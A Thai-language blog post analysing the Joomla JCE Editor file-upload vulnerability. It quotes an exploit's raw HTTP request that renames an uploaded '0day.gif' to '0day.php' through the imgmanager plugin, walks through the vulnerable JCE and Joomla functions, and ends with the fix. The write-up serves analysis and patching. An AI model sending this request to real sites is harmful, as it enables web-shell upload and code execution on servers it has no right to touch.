หน้าเว็บ

วันจันทร์ที่ 9 มิถุนายน พ.ศ. 2557

In-Depth Analysis: Joomla JCE Extension Exploit


       

          สวัสดีครับวันนี้มีช่องโหว่ของ Extension Joomla ตัวนึง น่าสนใจดีเลยเอามาแกะดู Extension ตัวนี้คือ JCE Editor ครับเป็นส่วนเสริมที่ทำให้เราสามารถ พิมพ์ข้อความ, ใส่ลิ้งค์, แทรกรูปภาพลงไปได้พูดง่ายๆคือ เพิ่มความสะดวกในการจัดการบทความนั่นเอง
          ช่องโหว่นี้รายละเอียดคือสามารถอัพโหลดไฟล์รูปภาพ .gif, .png, .jpg ขึ้นไปบน Web Server โดยที่เนื้อหาเป็นโค้ด PHP และเปลี่ยนชื่อให้เป็นไฟล์ .php ทำให้โค้ด PHP ดังกล่าวนั้นทำงานได้จาก Exploit Code
            
$packet  = "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1\r\n"; 
$packet .= "Host: ".$host."\r\n"; 
$packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n"; 
$packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; 
$packet .= "Accept-Language: en-US,en;q=0.8\r\n"; 
$packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"; 
$packet .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n"; 
$packet .= "Accept-Encoding: deflate\n"; 
$packet .= "X-Request: JSON\r\n"; 
$packet .= "Cookie: __utma=216871948.2116932307.1317632284.1317639575.1317734968.3; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=216871948.20.10.1317734968; __utmc=216871948; jce_imgmanager_dir=%2F; 6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182\r\n"; 
$ren ="json={\"fn\":\"folderRename\",\"args\":[\"/0day.gif\",\"0day.php\"]}"; 
$packet .= "Content-Length: ".strlen($ren)."\r\n\r\n"; 
$packet .= $ren."\r\n\r\n";
          ผมจึงลองแงะช่องโหว่ดังกล่าว พบอยู่ที่ไฟล์ /jce/libraries/classes/plugin.php ครับ ชื่อฟังก์ชั่น processXHR ครับ (บางไฟล์ชื่อ process)
        
 function processXHR($array = false) {                                        
        $json     = JRequest::getVar('json', '', 'POST', 'STRING', 2);
        $method = JRequest::getVar('method', '');
                        
        if ($method == 'form' || $json) {            
            $GLOBALS['xhrErrorHandlerText'] = '';
            set_error_handler('_xhrErrorHandler');
        
            $result = null;
            $error    = null;
            
            $fn     = JRequest::getVar('action');            
            $args     = array();
                
            if ($json) {
                $json     = $this->json_decode($json);
                $fn     = $json->fn;
                $args     = $json->args;
            }
            $func = $this->request[$fn]['fn'];

            if (array_key_exists($fn, $this->request)) {
                if (!is_array($args)) {
                    $result = call_user_func($func, $args);
                } else {
                    $result = call_user_func_array($func, $args);
                }
                if (!empty($GLOBALS['xhrErrorHandlerText'])) {            
                    $error = 'PHP Error Message: ' . addslashes($GLOBALS['xhrErrorHandlerText']);
                }
            } else {
                if ($fn) {
                    $error = 'Cannot call function '. addslashes($fn) .'. Function not registered!';
                } else {
                    $error = 'No function call specified!';
                }
            }
            $output = array(
                "result"     => $result,
                "error"     => $error
            );
            if ($json) {
                header('Content-Type: text/json');
                header('Content-Encoding: UTF-8');
                header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
                header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
                header("Cache-Control: no-store, no-cache, must-revalidate");
                header("Cache-Control: post-check=0, pre-check=0", false);
                header("Pragma: no-cache");
            }
            exit($this->json_encode($output));
        }
    }
          จาก Exploit Code จะเห็นว่ามีการส่งค่า POST มาในตัวแปร json รูปแบบเป็น json และมีการรับค่าที่บรรทัดที่ 722 เก็บไว้ในตัวแปร $json จากนั้นมีการแยกค่าซึ่งเป็นชื่อฟังก์ชั่น ไว้ในตัวแปร $fn และ อากิวเมนต์ที่ส่งไว้ในตัวแปร  $args ครับ ตอนนี้จะเท่ากับว่า $fn จะมีค่าเท่ากับ folderRename (ซึ่งจะเป็นชื่อฟังก์ชั่นอื่นก็ได้แล้วแต่เป้าหมายเช่น getItems, fileCopy, fileDelete ) และ $args จะมีค่าเป็น /0day.gif และ 0day.php ( รูปแบบของ array )
          จากนั้นตัวแปร $func ในบรรทัดต่อมาจะเป็นการเก็บชื่อฟังก์ชั่นที่จะเรียกใช้ และมีการใช้เงื่อนไข  if (!is_array($args))  เช็คว่ามีตัวแปร $args เป็น array หรือไม่ ถ้าไม่เป็น array จะไปเรียก  call_user_func แต่ถ้าเป็น array จะไปเรียก call_user_func_array แทนครับ มองภาพกันออกยังเอ่ย ว่าช่องโหว่นี้จะทำอะไรต่อไป :)
          ประกอบร่างก็จะได้เป็น Exploit Code นั้นส่งค่าดังนี้ครับ ผมเขียนเป็น PHP ให้ดูเข้าใจง่ายๆ
//call_user_func_array("folderRename", array("/0day.gif", "0day.php"));
function folderRename('/0day.gif','0day.php'){ 
//do something
}
          เป็นการโยน 0day.gif และ 0day.php ไปในฟังก์ชั่น folderRename เพื่อเปลี่ยนชื่อจาก 0day.gif ไปเป็น 0day.php ครับ เรามาตามหาฟังก์ชั่น folderRename กันพบอยู่ในไฟล์ /jce/libraries/classes/manager.php ครับ

 
function folderRename( $src, $dest ){
 jimport('joomla.filesystem.folder');
 $src = Utils::makePath( $this->getBaseDir(), rawurldecode( $src ) );
 $dir = dirname( $src );
 $dest = Utils::makePath( $dir, $dest );
 if( !JFolder::move( $src, $dest ) ){
  $this->_result['error'] = JText::_('Rename Folder Error');
 }else{
  $this->_result = $this->fireEvent('onFolderRename');
 }
 return $this->returnResult(); 
}
          มีการย้ายไฟล์ที่บรรทัดที่ 701 ด้วย JFolder::move ของ Joomla ถึงตอนสุดท้ายตามไปดูก็เจอการใช้ library rename ของ FTP ที่บรรทัด 417 และฟังก์ชั่น rename ของ PHP ที่บรรทัด 424 ครับ
public static function move($src, $dest, $path = '', $use_streams=false)
 {
  // Initialise variables.
  jimport('joomla.client.helper');
  $FTPOptions = JClientHelper::getCredentials('ftp');

  if ($path)
  {
   $src = JPath::clean($path . DS . $src);
   $dest = JPath::clean($path . DS . $dest);
  }

  if (!self::exists($src)){
   return JText::_('JLIB_FILESYSTEM_ERROR_FIND_SOURCE_FOLDER');
  }
  if (self::exists($dest)) {
   return JText::_('JLIB_FILESYSTEM_ERROR_FOLDER_EXISTS');
  }
  if($use_streams)
  {
   $stream = JFactory::getStream();
   if(!$stream->move($src, $dest)) {
    return JText::sprintf('JLIB_FILESYSTEM_ERROR_FOLDER_RENAME', $stream->getError());
   }
   $ret = true;
  }
  else
  {
   if ($FTPOptions['enabled'] == 1)
   {
    // Connect the FTP client
    jimport('joomla.client.ftp');
    $ftp = JFTP::getInstance(
     $FTPOptions['host'], $FTPOptions['port'], null,
     $FTPOptions['user'], $FTPOptions['pass']
    );

    //Translate path for the FTP account
    $src = JPath::clean(str_replace(JPATH_ROOT, $FTPOptions['root'], $src), '/');
    $dest = JPath::clean(str_replace(JPATH_ROOT, $FTPOptions['root'], $dest), '/');

    // Use FTP rename to simulate move
    if (!$ftp->rename($src, $dest)) {
     return JText::_('Rename failed');
    }
    $ret = true;
   }
   else
   {
    if (!@rename($src, $dest)) {
     return JText::_('Rename failed');
    }
    $ret = true;
   }
  }
  return $ret;
 }
          มาถึงตรงนี้ไฟล์ที่ Attacker เรียกเข้ามาจาก 0day.gif ก็จะถูกเปลี่ยนเป็น 0day.php แล้วครับ ส่วนวิธีการแก้ไขช่องโหว่นี้คือ อัพเดท JCE Editor ให้เป็นเวอร์ชั่นใหม่ล่าสุด ตอนนี้น่าจะเป็นเวอร์ชั่น JCE 2.3.44 แล้วครับ.. ขอบคุณที่ตามอ่านจนจบครับ :D ,, ICheer_No0M | 2600Thailand

Ref : Joomla JCE 2.0.10 Shell Upload Exploit
Ref : JCE Joomla Extension <= 2.0.10 - Multiple Vulnerabilities
Ref : rename — Renames a file or directory
Ref : joomla-platform / libraries / joomla / filesystem / folder.php

ไม่มีความคิดเห็น:

แสดงความคิดเห็น